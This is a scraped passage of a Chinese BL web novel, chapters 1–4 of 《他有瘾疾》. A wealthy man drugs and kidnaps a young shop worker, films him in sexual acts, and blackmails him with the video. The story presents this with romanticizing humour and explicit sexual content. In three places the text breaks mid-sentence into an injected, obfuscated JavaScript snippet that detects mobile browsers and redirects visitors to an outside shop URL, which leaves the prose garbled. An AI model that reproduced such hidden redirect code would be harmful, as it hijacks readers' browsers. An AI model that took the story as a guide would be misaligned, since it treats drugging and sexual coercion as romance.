《他有瘾疾》 1. 第1章 边桐凌晨四点被一阵来电铃声吵醒。 他拿过床头充满电的手机瞄了一眼,是个陌生号码,直接挂断。 隔几秒,那个陌生号码又持续响起。 边桐痛苦地抽了口气,睡意清醒几分,压着烦躁按下接听键。 “金水湾一栋顶层,限你半小时到,否则你就等我的律师函吧!” “什么?”边桐一头雾水,“你打错了。” 挂断电话,手机时间显示凌晨4点10分。 他烦躁地薅了把头发,已无睡意,决定起床洗漱继续写代码。 才刚下床,那个陌生号码锲而不舍再次打进来。 边桐没好气地用力点了接听,“我说,你打错了,请不要再打过来。” 他打算把对面拉黑。 “边桐。”手机那端的男人声音很好听,优雅高贵如小提琴的低鸣。 边桐心脏漏了一拍,紧着嗓子,“你哪位?” “我加你微信,你通过一下。” “嗯?” 微信弹出一条添加好友的申请,边桐点开验证。 ——【通过,没时间了】 边桐被搞得心慌慌的,点击通过他的好友申请。 才刚通过,那边发过来一个小视频。 边桐还是太年轻,第一时间点开。 视频里一个男人四肢被绑在床上,白花花的□□在黑色真丝床单上翻滚,叫得很大声。 听声音也不知是太痛苦还是太兴奋。 边桐吓得差点把手机甩出去,他赶紧退出微信,将手机静音。 气抖冷。 等心情平复,他滑回微信界面,删掉视频后才敢开声音。 他气得给对面发语音:“大哥,你变态吗?凌晨四点给别人发GV!” 对面也给他发语音。 “你家的变态东西在他身体里放了四个小时。” 边桐愣了两秒,有一点会意,“那你拿出来啊,四小时……不怕弄死他?” “坏了,拿不出来。” “啊?”边桐薅了把自己的头发,“那为什么不送他去医院?” “他不去医院。” “这种事怎么能由着他?真的会死人的!”这是什么绝世渣男?真是活久见。 “你过来处理,他现在已经神志不清了,在叫妈妈。” 边桐冷汗直冒,“你说你住哪?” “金水湾一栋顶层,你马上过来。” “我尽快。” 边桐连睡衣都没换,抓起一件薄外套,揣着手机就往外走。 打开门又想起没戴口罩,他从妹妹买的一打劣质口罩里随手拿了一个应急。 于是凌晨四点半,他戴着粉色的小猪佩奇3d口罩,走出家门口的巷子,骑着共享单车玩命地蹬向未知的未来。 到金水湾边桐才反应过来,这是一片超级富豪区,都是身家上亿。 昨天那个男人进店时,边桐看他穿着就很不一般,只是没想到这么有钱。 初来这种高档的小区,他有些局促,正不知道怎么进去时,保安亭里保安探出脑袋,态度还不错地问了一句:“边先生吗?” “我,我是。” “一栋楼你直走,进去百米左右。” “单车可以骑进去吗?” “可以的。”保安给他打开了小区人脸识别锁。 边桐疯狂蹬着单车,很快来到一楼,他将单车放在前面的草坪里,跑进一楼电梯口。 “边先生吗?”只见电梯口停着一个穿制服的小区工作人员。 “嗯。” 那工作人员刷开私人直达电梯,做出一个请的手势。 边桐紧张地咽了口唾沫,大气都不敢出,跟着走进电梯。 电梯升得很快,这里小区的楼层都不高,只有七层,每一层都是大平层。 边桐走出电梯,走廊尽头的门是打开的,里面的法语电影声音开得很大。 他深吸了口气,大步朝里面走去。 一进大厅,便看到一个男人背对着他,正坐在沙发上一边吃慕斯蛋糕,一边看着法国爱情片。 “你好。” 边桐跟他打招呼,可能声音太小,电影声音又太大,他没听到。 于是边桐加大了分贝,几乎是吼着的:“你好!!” 男人转过头,一张高级精致得没人情味的脸,被大屏幕明暗不定的光影映得更加立体深邃。 男人盯着边桐几秒,嘴角不受控制地轻扯,忽视他过于滑稽的装扮,淡淡地指向一旁紧闭的房门,示意他自己进去便收回视线,不再理会他。 边桐看他将一双笔直雪白的大长腿架在琉璃茶几上,修哉地晃动着,继续吃小蛋糕看电影。 人品恶劣的富二代! 边桐不动声色转身皱起眉,却想起在店里第一次见到男人的情景。 西装革履,谈吐流畅,气质温文儒雅,眉眼间的桀骜被一副金边眼镜掩饰,临前,他问自己的名字和手机号码时,边桐意外几秒,热情地在他手机里亲自录入自己的姓名和手机号,因为很多客户会直接在手机下单,有同城送货上门的服务。 边桐打开门前已经做足心理准备,但当视频里的一幕出现在眼前时,冲击力还是过于激烈,他怂得慌忙退出,重重将门关上。 他很生气,人命关天的事情,这人怎么能这么无动于衷? 何况里面躺着的还是他男朋友。 边桐冲到电视机墙边,找了半天没找到关放映机的开关,于是直接拔掉了插头。 吵得耳膜疼的影音戛然而止,卧室里男人痛苦的低吟开始清晰。 “你还有人性吗?你男朋友快被你玩死了!” “还不是你卖劣质产品?”男人云淡风轻,一针见血。 “我……”边桐一口老血哽在喉间,突发心悸。 “要是处理不好,我的律师团队不会放过你。”男人说着,轻咬着一支烟点上,打火机的蓝色火苗嗤嗤攒动,他吐出一口烟,邪得没边。 边桐人穷志短,顿时没了脾气,“我建议还是先去医院。” 这种事情他怎么处理?掏人男朋友的屁股这合适吗? 男人将打火机重重丢在大理石茶几上,突然起身,猛地拽过他的手腕,一把将他推进房间打开大灯。 边桐被推得一个趔趄,房间里的一切被拉到刺目的灯光下,无所遁形。 他人傻了。 床上的男人雪白的身子上遍布红痕,有的是鞭子抽的,有的是掐的。 “看清楚了?” “他,他是……” 边桐不追星,也知道这两年当红顶流男星夏飞音的名字。 因为实在太火,走哪都是他的广告牌和迷妹。 而现在这么个大红人,正躺在这张床上,沦为一个男人的玩物。 夏飞音仿佛刚从水里捞上来,十分狼狈。 看到来人,夏飞音已经接近崩溃的边缘,痛苦地怒骂着:“岑止,我□□M!你这个阳痿的死变态!啊啊啊!岑止……我求求你,快让它停下!我真的受不了……” “你去给他盖上被子。”边桐别开了脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449621|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非礼勿视。 虽然戴着口罩,但是岑止看到他羞到一双耳红得要滴出血,一直蔓延到脖子根,他这反应,极致反差萌。 一个卖情趣玩具的成年男人,居然纯情得像个未经世事的小男生。 岑止没有生气,听话地上前给夏飞音拉上被子。 “玩具的遥控器呢?” “坏了。” “我知道坏了,在哪?!”边桐急得额头暴汗,十指插进发丝间,语气也不由重了几分。 岑止指向洗手间的方向:“垃圾桶里,自己去翻吧!” 边桐蹲在洗手间的垃圾桶前,做了会儿心理建树,将垃圾桶倒过来,在一堆污秽的纸巾里,找到薄薄的一片小玩具遥控器。 洗干净用纸巾洇干后,他向岑止要了工具箱,快速地用最小号的螺丝刀将遥控器拆开,电路板没问题,电池没问题,只是掉了根铜丝,很好处理。 将铜丝接上后,他将遥控器递给岑止。 玩具终于停下,夏飞音白眼一翻,全身脱力地昏死了过去。 “需要喂他喝点电解质水。”边桐提议。 “冰箱里有,你去拿。”岑止使唤着。 边桐心里一阵无语,但还是默默转身去大厅找到他家冰箱,将电解质水替他拿过来,还体贴地拧开盖子。 给夏飞音喝完水,人终于缓过来,边桐紧绷的神经跟着放松,暗吁口气。 “那个,是称呼您岑先生吗?” “嗯。” 岑止长腿交叠,撑掌坐在床沿,面带微笑地仰视着他,竟看着有几分恶魔的纯真。 黑色真丝睡袍浅浅勾勒着他衣底下一层薄肌,配上那张华美又冰冷的脸,整个看起来完美得像具没有活人气息的高级雕塑。 边桐明明站着高他一截,却觉得自己像是砧板上的鱼肉,随时会被这只蛰伏的漂亮野兽拆吃入腹。 “发生这种意外,我真的很抱歉,请您原谅。”边桐低下头,朝他鞠躬,态度十分诚恳。 岑止将他上下打量一番,长得非常高,戴着滑稽的口罩,穿着五十块两件的T恤,打着灯笼也找不着的穷鬼,与他富丽堂皇的卧室格格不入。 进门时没来得及换的脏鞋子,仿佛染上了臭水沟里的病毒,一并带到他的屋子。 岑止此刻心里不爽到极点。 “没关系,不过……” “岑先生放心,我一定会保密。”边桐举起三根手指,信誓旦旦。 岑止翘起一边嘴角,笑意却并未达眼底,“你可以走了。” 听到‘可以走了’四个字,边桐仿佛得到一张免死金牌。 心想着,这岑先生虽然看起来不像个好人,但其实人挺好说话的,没有为难他。 “谢谢您。” 边桐前脚才刚走,岑止就拨通了楼里保镖的电话,“弄晕了,带去地下车库。” * 边桐醒来时,头疼得仿佛要炸开,从小腹邪烧起一把邪火,那撩人的酸痛与痒意蔓延四肢百骸,头顶一盏白炽灯刺得眼疼。 他眯起眼,侧过脸打量起四周,一间冰冷的房间几乎没有家具,一整面墙的橱柜摆放着各种刑具与玩具。 边桐额角突突直跳,更加用力挣扎起来,他嘴里被人塞了颗小球只能发出呜咽声。 一间高设备的监控室内,墙上九块屏幕没有死角地拍摄着四肢被铐在床上的男人。 他的腿可真长啊! 挣扎间不经意露出的腰部线条劲瘦紧实,抬腰时的人鱼线让人遐想又充满了力量感。 玩起来一定很带感。 2. 第2章 岑止吃着手下刚送来的蛋挞,一双眼没舍得从屏幕前移开。 没多久,他找的MB来了,扭着小腰走到床前,看起来是情场老手。 对着床前的BMD摄像机闪着小红点,留下高清录影。 感觉到有陌生人的气息靠近,边桐挣扎得更厉害,手铐在腕子上勒出深深的一道红痕。 MB不想节外生枝,收了比平时多十倍的钱,出来做生意这么多年,还是第一次捡便宜。 他还以为要伺候的人又老又丑,没想到……昏暗中虽看不清脸,但这副完美的好身材,是他做梦都梦不到的。 宽膀细腰,肌肉紧实,腿贼拉长。 “小乖乖,别怕,哥哥技术很好的,一定会让你舒服。” “唔唔!” 边桐被欲望折磨得浑浑噩噩,但有个念头却在脑海里清晰地盘桓不去。 姓岑的根本不是放过他,而是用这种办法报复,以此威胁。 这MB第一次见到这么优质的客户,显得非常主动,拿出十八般武艺,往一个雏儿身上招呼。 边桐现在脑子已经糊成浆糊,遵循着最本能的欲望,像只苏醒的野兽,不知疼痛地想要挣脱束缚,主导全场。 “哦?” 岑止看出他的意图,原本他想的是让MB上这家伙,现在看来,MB这身板根本压不住。 属性过分明显。 MB开始忘乎所以,不满足于他的单向表演,一手抚上边桐的脸,撩起他额头汗湿的头发。 监控室里满屏幕都是边桐这张脸,让岑止呼吸一紧,瞳孔震颤,浑身像是过电般,一股从未有过的冲动上涌。 既陌生又新奇,让人想要去探寻。 屏幕里,边桐浓黑的眉下,一双上挑的眼迷离,强忍泪水,说不出的深邃温柔,略带忧郁悲悯的神光。 一张脸很白净,棱角分明,漂亮的M唇被玩具球撑开,涎液濡湿了下巴,整个人被药性折磨得泛红,又纯又欲。 MB屏住呼吸,他珍惜在边桐额前轻轻一吻,头一遭感觉自己在犯罪,低叹了一声:“天菩萨,啷个好人家的男娃儿被这么糟蹋咯,万恶的资本家!哥哥也是没得办法,你忍忍。” “唔唔!” “你有话要说是吧?” “嗯嗯。” MB一时心软,又帮他松开嘴里的小球。 边桐的声音带着一丝呜咽,泪水沾湿浓密的睫毛,恳求着:“哥,求求你……帮我报警,我是被人绑架的!” “这……”MB见他实在年轻貌美,动了恻隐之心,“你别哭哈,我先给你把绑带松开,瞧你这腕子,都勒红了,一定很疼吧?” MB帮他将四肢的黑色皮质绑带松开,心疼地帮他揉着勒出一圈紫红色的腕子,扶着他往门口走,一拧门锁才知道门从外被反锁,根本打不开。 屏幕前的岑止坐不住了,拿过对话机。 “把里面的MB给我拖出去。”岑止盯着屏幕上生动又纯欲的脸,冷哼:“男狐狸精!” 封闭式的房间突然断电,陷入伸手不见五指的黑,门口传来一阵响动,纷杂的脚步声逼近,MB只觉口鼻被人捂住,只是两三秒的时间,就昏死过去。 这一套操作行云流水,也不过十几秒的时间,门再次被锁上,边桐只觉身体越来越滚烫,那股叫人发疯的痒意越来越强烈。 他伸扶着墙壁摸索着往前走,手掌之下一片温热的滑腻,像是一层透薄的绸缎料子,衣底下的皮肉紧实很有弹性,他本该把手抽回来,却鬼使神差的抓了一把。 “嘶!”一道抽气声在漆黑的房间响起。 边桐像触电般,这才将手收回去。 “好摸吗?”那人压低着嗓音,很哑。 边桐感觉到陌生的气息迎面扑来,鼻间贴近才能嗅到的皮革调香水像一剂猛料,小腹紧得发疼。 “你,你是谁?” 男人低笑道:“那家伙太没用,所以换我过来,别怕,跟着你的感觉走,你会尝到这世间极乐。” 男人的声音满是蛊惑,边桐被欲望折磨到十分薄弱的理智,一击即碎。 但是十九年人生信条,以及骨子里的正直让他没办法迈出这一步,他像只被逼到极境的困兽,蜷缩在角落哽咽抽泣。 他压抑的哭声让岑止血液沸腾,气息不由加重几分。 哭得真tm带劲! 比起那些小男明星的假哭让人倒胃口,这个哭声沙哑隐忍还带着几分颤抖,简直就是天籁。 “让我们来玩点好玩的。”岑止跪在他面前,双手从他腋下穿过,反手勾过青年结实的肩膀,他紧绷着身子僵硬得像块石头。 岑止一靠近他,就能明显感觉到他已经忍到极限,“再不发泄,你也不怕把自己憋坏?” “不行!”都这时候了,他还在拒绝。 岑止从未像现在这样极有耐心的哄着,语气温柔又蛊惑:“怎么不行?” “你,你是男的。” 岑止突然道:“这有什么关系?反正关了灯,你又看不到,而且你刚才摸到我的时候,手感也不差吧?” 在欲望的驱使下,边桐明显在动摇,被折磨得不堪一击的理智摇摇欲坠。 男人靠得好近,边桐吸吸鼻子,高级的皮革调香水越闻越上头,身体做出最原始的本能反应,他埋进男人的脖颈间狂吸。 微凉的肌肤滑腻如昂贵的绸缎,混合着高级的淡香水味儿,在他脸上与唇间滑动,让边桐得到了极大的心理满足。 岑止觉得他像闻到信息素而发情的公狗,一直在嗅个不停,没有吻他,只是用脸在他胸前拱来拱去,气息粗重急喘。 “你在干什么?” 边桐没有答案,他要知道自己在干什么,肯定不会这么干。 但该死的,岑止发现自己竟然会因为他这种幼稚的行为而产生反应! 简直不可理喻。 他从未对任何人有过性致,偶尔会受到一些强烈的画面刺激产生一点反应,但很快会消下去。 但是这次不一样,从镜头看到这张脸开始,他身体里就开始烧起一把火。 岑止被蹭得邪火飙涨,想要推开他。 边桐察觉到他的意图,像是衔进嘴里的肉生怕飞走,于是咬得更紧,恨不得要将他嵌合一体,却不得章法。 “不要走!难受,我好难受。” “笨狗,难道你之前没有任何经验?” 他揉着他的头发,漂亮又干净的玩具,让岑止更加兴奋。 边桐现在难受得仿佛整个人要爆炸,根本听不到男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449622|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在说什么,一把粗暴地将他压在身下。 岑止以为他会有更进一步的动作,结果,并没有。 但这家伙的方式很野蛮,岑止不知道他力气会这么大,想挣脱的时候根本没机会。 岑止被他当成人形娃娃,蛮横地用全身力气,丝毫不给他喘息的机会压着他横冲直撞。 “不是这样,啊——呃!”岑止按在他肩膀上的手,一时不知是想推开还是紧扣。 这样的力道隔着衣服摩擦,感观拉大数倍,撞得他心旌荡漾。 …… 边桐醒来时,发现自己躺在高档小区的后巷里,身上换了一套干净的衣服,除了有点头晕,没有其他不适。 他只记得自己刚出电梯,就被人从身后偷袭迷晕过去。 之后的事情,他想不起来。 他恍恍惚惚坐公交车回到家,此时是傍晚,他脸色发白,眼下乌青,活像被鬼吸干了阳气。 一家人正在餐桌前吃晚饭,看到他回来,只有小妹关心了一句:“大哥,你昨天晚上去哪了?前天也找不到人。” 边桐呆立在原地,随便找个借口:“朋友聚会。” 母亲刘月莹狠狠白他一眼,掩不住地嫌恶:“上了个没用的大学,别的没学会,就学会躲懒!” 边桐习惯母亲刻薄的语气与冷漠的态度,毫不在意地转身要进房间,却被边宗耀叫住,“等等!” 边桐疲惫的回头看向弟弟,“怎么了?” “你欺负妈不识货是吧?家里什么条件你不知道吗?穿这一身名牌在我面前耀武扬威,大哥,你是真没把我们当一回事啊!” “什么?”刘月莹气红了眼瞪着边桐,随后将眼前碗筷一摔,“让你拿点钱给你弟交学杂费,你都推三阻四,给自己置办行头就有钱?你赶紧给脱掉,这衣服你配穿吗?” “那我不去看店了,你让边宗耀去。”边桐进屋反锁上门,迅速脱掉这身不属于自己的衣服,他这才看到自己的胸口与小腹上有很多红紫的痕迹。 有些像是被人掐的,有些……像是用嘴吸的。 前天晚上的记忆,像是喝醉酒断片,只能想起一些零星的片。 他总觉得还有更重要的事情,没想起来,到底是什么呢? 脑海里呼之欲出,到关键时刻仿佛被下了一记闷棍,记忆还是一片空白。 边桐用力甩甩头,估计是迷药的后遗症,他整个人还很恍惚,犹豫要不要报警,可是现在他肚子好饿。 在报警与吃饭之间,他选择拿衣服洗澡。 等他洗好澡,刘月莹出去跳广场舞了,刘父开长途汽车的,长年四季在外不回。 他去厨房想找点剩饭,刘月莹一点也没给他留。 “大哥,你吃面包吗?”小妹将自己藏的一截干巴的面包递给他,用廉价的塑料袋包着,也不知她藏了多久。 家里大部分的钱都拿去给了边宗耀挥霍。 原本边宗耀跟他一起上的高中,今年已经复考了第二次,刘月莹是一点苦都舍不得他吃,给他在学校附近租了间高档公寓,所以才能轮到他在家里有个属于自己的房间。 边桐伸手揉着小妹的发顶,“你留着自己吃吧,等哥赚了钱,给你买好吃的。” 小妹眼睛一亮,用力点点头。 3. 第3章 边桐擦着湿漉漉的头发回房间,拿过从咸鱼上淘的二手电脑,打算赶一赶单子进度。 他大学专业是计算机编程,在网上能接一些力所能及的私活。 钱不多,一个单子五十一百,但对边桐来说已经是笔不小的收入。 京市最繁华商业街,矗立在市中心的天辉大厦最大的led大屏上,循环播放着当红男星夏飞音奢侈品代言广告。 而国内最有实力也最具盛名的大风娱乐也在这里。 一大早夏飞音就来到公司,直闯总裁办公室。 “岑少,我有话要和你说。” 岑止从文件中抬眼,又迅速冷淡的收回去,继续看着手里的文件。 见岑止没理会他,夏飞音竟直接朝他跪下,爬到他的脚边。 “你这是干什么?”岑止无动于衷,甚至有些厌恶。 “岑少,那天晚上是我冲动,我骂了你,但你大人不记小人过,别跟我这种人计较,行不行?” “我什么时候说要与你计较?” “真的?”夏飞音眼中重燃起希望。 “真的,”岑止拍拍他这张俊秀的脸,“出去吧,我今天有工作。” “那你什么时候来找我?” “忙完就来找你。” 夏飞音喜出望外,“我等你!我今晚不睡,会一直一直等你过来。” 当天岑止忙到很晚,开完会议回到家,已经晚上十点。 但他压根就不记得有夏飞音这个人,从房间的抽屉里拿出一部新手机,用自己的小号添加边桐的微信。 等了半小时,没一点动静。 岑止莫名一阵焦虑,每隔半小时,提交一次好友申请,直到被系统判定为骚扰操作,申请发送失败的限制提示,岑止才罢休。 岑止此时的情绪很暴躁,他仰坐在沙发上,不甘心今晚就这样放过他的新玩具。 他深吸一口气,拿过手机给楼下的保镖打去电话。 “凌晨两点之前,把那天地下室姓边的男孩绑过来,做不到明天就别来了。” 岑止看了眼时间,晚上十一点半。 两个小时,也不是不能等。 边桐熬夜赶了一个小订单,摘下耳机看时间,刚过凌晨。 他伸着懒腰,疲惫地爬上床,捞过手机准备睡前看一下相关专业的视频解解压。 一解锁,微信弹出十几条好友添加信息。 每一条好友申请留言全是——【加我】 这种没通过好友申请,在短时间内不断添加好友的行为过于偏执和神经质。 边桐通过其中一条,并主动向对方发起信息。 边桐:【你哪位?】 岑止听到新手机的信息提示,整个人仿佛瞬间被激活,他迅速拿起手机。 岑止:【你猜】 边桐:【猫猫挠头.GIF】 岑止:【在干嘛?为什么这么久才通过我的好友申请】 边桐:【请问,你哪位?】 岑止:【前天,不记得吗?】 边桐:【你到底是谁?不说我拉黑了。】 岑止:【你压着我从晚上干到白天,这么快就忘了?】 边桐的心口仿佛被人打了一闷棍子,呼吸窘迫,浑身滚烫。 他第一时间不是质问,而是歉意与心虚。 边桐:【抱歉。】 岑止:【抱歉有什么用?】 边桐:【我也是受害者,那天的事情我记不太清楚。】 岑止:【那你这是想赖账?】 边桐:【不是。。。但我想知道你跟那姓岑的是什么关系?】 岑止:【能是什么关系,当然是我雇主啊!】 边桐:【……】 岑止:【怎么,不可以是我雇主吗?】 边桐:【你…你是做那种工作的?】 岑止:【MB,很难说出口?放心吧,我很干净,没病的。你要实在不放心,自己去疾控中心。】 边桐:【你加我是为什么?】 岑止:【当然是晚上寂寞,找你聊聊天。】 边桐:【我不想聊。】 岑止:【怎么?你想跟我做?】 边桐:【麻烦你放尊重点。】 岑止:【要不要跟我玩?】 边桐:【玩?】 岑止:【我可以给你钱,陪我玩玩。】 边桐:【拉黑!再见!】 岑止:【等等!先看看这个视频,你再考虑一下要不要把我拉黑。】 边桐心脏一紧,仿佛天花板都在晃动,他发视频过来的时候,边桐已经猜到他们录了视频。 他戴上耳机,才颤抖着指尖点开视频,昏暗的室内暧昧的喘息声此起彼伏……让他没敢多看,慌张地关闭视频。 边桐:【我到底做错了什么?你们为什么要这么整我?!】 岑止:【怎么能这么想呢?这是多么有趣的经历和人生体验?】 边桐:【你怎样才能把视频删了?】 岑止:【你陪我玩,玩腻了自然就删了,我还会偷偷帮你去岑少那边把原始视频删掉。】 边桐:【怎么玩?】 岑止:【我想见你的时候,你就出来陪我睡觉。】 边桐:【我不是同性恋!】 岑止:【哦,那你前天艹的是?】 边桐:【我是被人下药了,那不是我本意。】 岑止:【那你继续吃药不就好了?】 边桐:【你讲不讲道理?】 岑止:【我觉得我很讲道理啊!】 边桐:【那是你自己觉得。】 岑止:【我不喜欢说废话,你想拉黑就拉黑吧,网上见咯!】 边桐:【我需要考虑一下。】 岑止:【考虑多久?】 边桐:【不知道。】 岑止:【那就给你两天时间考虑,要么被曝光视频要么陪我玩一段时间,你自己选吧。】 人渣!! 边桐气得差点把手机砸了,可惜穷鬼的准则——重要物品轻拿轻放。 他默默把手机放回去充电,闭上眼在报警与报仇之间极限拉扯后,终于睡过去。 岑止想象着对面抓狂的模样,心情变得很不错。 直到保镖的电话打进来,“岑少,姓边的家里已经熄灯,家住在五楼,安了防盗窗,爬不进去,动静太大,您看,要不要放火把他逼出来?” “难道放火动静就不大?”岑止捏着眉心,“算了,你们回来吧。” 几个保镖听到这个指令,全都松了口气。 这一夜边桐睡得并不安稳,他做了一个晚上的梦。 梦里都是与那个男人缠绵的过程。 他凶猛得仿佛不认识自己,身下的男人浑身汗津津地拼命地缠着他,把他后背抓得好疼。 可他竟然不觉得恶心,只觉得爽得头皮发麻。 清晨六点,他洗着床单,泪水不争气地流下来。 他丧气地觉得自己是全世界最倒霉的倒霉蛋,短暂的近二十年没做过任何亏心事,命运却要如此捉弄他。 更要命的是他终于想起,那件呼之欲出却怎么也想不起来的事。 他把共享单车丢了。 虽然醒来第一时间已经紧急报失,等到早上九点半联系客服冻结订单,但看着被扣掉的八百块,心真的很痛。 此时九点半,他已经坐在疾控中心走廊的长椅上,过来拿阻断药。 这种事情他赌不起,对方的话他一个句号都不信。 拿上阻断药,边桐一刻也没逗留,拉上卫衣连帽,戴着口罩快步离开了疾控中心。 他觉得自己像只见不得光的老鼠,明明没偷没抢,却生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449623|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕被人看到。 已经被折磨得极薄弱的心理防线,让他再次红了眼眶,他一口气跑到天桥上,喧嚣的大风将他的帽子吹下,凌乱一头略长的黑发。 想起自己这些年的如履薄冰,想起亲人的冷漠,想起这社会的黑暗与不公,突然觉得活着一点意思都没有。 脑子里紧绷的那根弦眼看在下一秒即将拉断,一道微信语音电话铃声打断他的思绪。 边桐惊出一身冷汗,猛地惊醒快步走下天桥,拿起手机接起语音电话。 “在干吗呢?”电话那端男人的声音轻快,清脆又贵气。 边桐将手机从耳边拿下看到对面的名字,跟吃了苍蝇一般有点恶心。 “今天一天都没过,你说过给我两天时间!” “……”岑止沉默几秒,语气明显低沉几分,“我没那么心急。” 边桐心底翻涌着恨意与厌恶,“没事我挂了。” “不准挂。”岑止用着命令的语气,有着莫名的压迫感,“你挂试试。” 边桐憋屈地掉小珍珠,“你到底想干什么?” 听出他情绪的崩溃,岑止这颗冷冰冰的石头心有些动容,语气软了两分,“问你在干嘛,你哭什么?” “我没有哭!” “哦,那你在干嘛?” “你神经病啊!一直在问我干嘛干嘛,你到底想干嘛?” 岑止气结,“所以,你在干嘛?” 边桐哽着嗓子骂道:“你这头死猪!” “你在骂我?” “对,骂你怎么了?你这种人渣,没打死你都算我善良!” “哈哈,真可爱,骂得真好听。”岑止发自内心的欣赏,并笑出声来,“第一次听到别人骂我死猪。” 边桐感觉这人在阴阳怪气,纯纯挑衅。 他还在笑,如清朗的玉石相击,带着几分洒脱与漫不经心的慵懒,穿过他的耳膜。 神奇的是边桐的情绪瞬间被这笑音抚平,那些负面情绪荡然无存。 “喂,在干吗呢?” 边桐没了脾气,如实叙述,“我去疾控中心,拿阻断药。” “你吃了?” “还没。”外面人多,他想回家再吃。 岑止默了几秒,“别吃,这个会有副作用。我不久前刚做的体检,你要是不信,我等会儿把体检报告拍照发给你。” 边桐听到有副作用,也开始犹豫。 “你吃完阻断药,还得抽血,折腾这个做什么?你就把心放肚子里,我真没病。” “哦。”边桐突然觉得这人渣好像没那么坏。 岑止的办公室被敲响,他匆匆挂断语音电话,随手给边桐转了个红包。 边桐走到公交车站,看到岑止给他的红包,没有接。 边桐:【你给我红包干什么?】 岑止:【给你一点小小的补偿,钱不多,收着吧。】 边桐犹豫几秒,点开红包,金额1888。 他一个月的生活费都用不了这么多,于是他又退了回去,但岑止没有接。 就这个时间,边家那个情趣用品小店已经被工商局查封。 边桐刚回到家,就看见刘月莹哭号着好一通咒骂。 “哪个丧天良的畜生啊!阻人财路如杀人父母,举报的人不得好死!!” 边桐深吸口气,贴着墙准备回房间,但还是被刘月莹叫住。 “你一大早死哪去了?我问你去哪了?!”刘月莹抡起一只玻璃杯朝边桐砸过去。 边桐侧身躲避,虽然没被砸到但被溅了一身水。 “咱家店开这么多年,一直好好的,你真是个扫把星啊边桐!就让你上了几天班,咱家店就被查封,是不是你没长眼得罪人啦?你说话!!” 小妹吓得缩在角落,看着大哥又被当成沙包一阵心疼,却没有勇气上前阻止。 4. 第4章 边桐无法反驳,但这事也不全怪他,还不是她自己贪小便宜,进了小作坊货充当正品? “有事你就哑巴了?啊?你可真是个没用的东西!我这辈子是指望不上你了,连看个店都看不好,你怎么不去死了算了?!” 边桐红着眼眶,伤心委屈地看着刘月莹,“我从初中开始,自己捡垃圾交学杂费,高中你不想让我上学,只让边宗耀上,说家里养不起,我没有让你养!我向外婆借的第一年学费,大学学费和生活费都是我自己负责,赚的钱有时候还要补贴家里,你到底还有哪里不满意?” “在你眼里,只有边宗耀是你儿子,我到底是什么?就算养条狗,十九年了!也总该有感情了吧?”边桐发疯地嘶吼着,委屈至极。 这番话说得刘月莹一阵心虚:“你这什么态度?我可是你妈!” “你是我妈就一点错也没有吗?” “你简直倒反天罡!我错哪了?我错把你这没用的东西生下来,带回家,还把你辛辛苦苦养这么大!你就是一头白眼狼!” 边桐的心已经伤透,突然一下就冷静下来,以前他也想过离家出走,但一直没有勇气,没下定决心,最近四天发生的种种,让他认实一个现实。 那就是没有人在乎他。 冷了饿了没有问他,他失踪也不会有人打电话。 不管他为这个家里做再多,再懂事再乖,他们也觉得是理所当然,甚至还嫌他吃了家里的饭,占着家里的床,横竖看他不顺眼。 “我走就是,以前我没靠过你们,以后也不靠你们。”说着边桐气冲冲地回到房间,拿过几件换洗衣服,带上电脑充电器,一个背包就装下他的全部。 小妹冲过来抱着他号啕大哭,“哥哥,你别走!呜呜呜……你别走。” “让他滚!我看他离开这个家,能活成个什么熊样!” 边桐蹲下身与小妹平视,眸光温柔,替她擦掉泪水,“芽儿别哭,哥哥会来看你。” “你骗人!”小妹哭得更凶。 “哥哥什么时候骗过你?”边桐朝她伸出小拇指,“那咱们拉钩。” “拉钩就算数吗?” “当然算啦!” 两人认真拉钩,小妹才停止哭泣,无力地目送边桐离开,心里暗暗发誓,等她长大,要赚很多很多钱,把大哥接到她的大房子里住。 边桐孤零零地背着包,穿梭在车水马龙的城市,有些迷茫与无奈。 他先去找了房产中介,看着中介上的租房,短期太贵,长期没必要,暑假过完他要回学校,若非必要,寒假大概也不会回来。 看着银行卡里少得可怜的存款,一个头两个大,虽然他因为当时成绩优异四年学费全免,但平时学杂费和生活开销,全都是他平时打工攒的。 回家第一天,家里就让他交了三千块钱的家用补贴,他现在十分后悔,为了维系这薄弱的亲情,近乎讨好地还要每个月交家用,愚蠢得让人发笑。 他像在城市里游荡的孤魂,一直到夜幕降临,抱着背包,坐在公园的长椅上。 他突然想到什么,拿出手机看着微信发出去的红包,那人没有接收,如果超过24小时不接收就会退回来。 边桐突然对自己产生自我厌恶,为了这1888,他竟然在动摇。 原来他的尊严与人格可以为这1888元被踩在脚下。 